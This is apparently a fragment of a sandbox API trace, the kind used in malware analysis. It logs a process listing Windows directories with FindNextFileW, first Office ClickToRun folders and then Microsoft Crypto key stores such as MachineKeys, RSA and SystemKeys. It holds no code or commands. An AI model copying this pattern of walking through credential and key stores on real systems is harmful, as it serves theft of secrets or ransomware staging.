	[0181.019] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup", cAlternateFileName="")) returned 0
	[0181.019] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.019] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.019] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0181.313] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.313] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0181.353] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.353] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0181.354] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0181.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.354] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1
	[0181.378] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.378] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0181.382] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.382] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0181.383] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0181.383] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.383] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1
	[0181.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.540] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0181.607] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.607] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0181.607] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0181.607] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.608] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0181.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.611] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0
	[0181.611] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0181.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.612] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0181.612] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0181.612] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.613] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Packages", cAlternateFileName="")) returned 0
	[0181.613] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0181.613] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.613] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0181.613] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.613] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0
	[0181.613] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0181.613] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.614] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0
	[0181.614] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0181.614] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.614] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1
	[0181.616] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.617] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0181.650] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.650] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0181.650] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0181.651] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.651] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1
	[0181.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.652] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0181.654] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.654] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0181.654] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0181.654] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.654] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0
	[0181.654] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0181.654] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.655] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UserData", cAlternateFileName="")) returned 1
	[0181.655] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.655] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0181.658] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.658] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0181.658] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.658] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.658] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0181.660] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.660] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0181.660] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0181.660] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.660] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Keys", cAlternateFileName="")) returned 1
	[0181.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.661] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCPKSP", cAlternateFileName="")) returned 1
	[0181.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.661] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0
	[0181.661] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0181.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.662] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RSA", cAlternateFileName="")) returned 1
	[0181.662] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.662] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0181.663] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.663] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0181.663] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0181.663] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.663] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1
	[0181.665] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
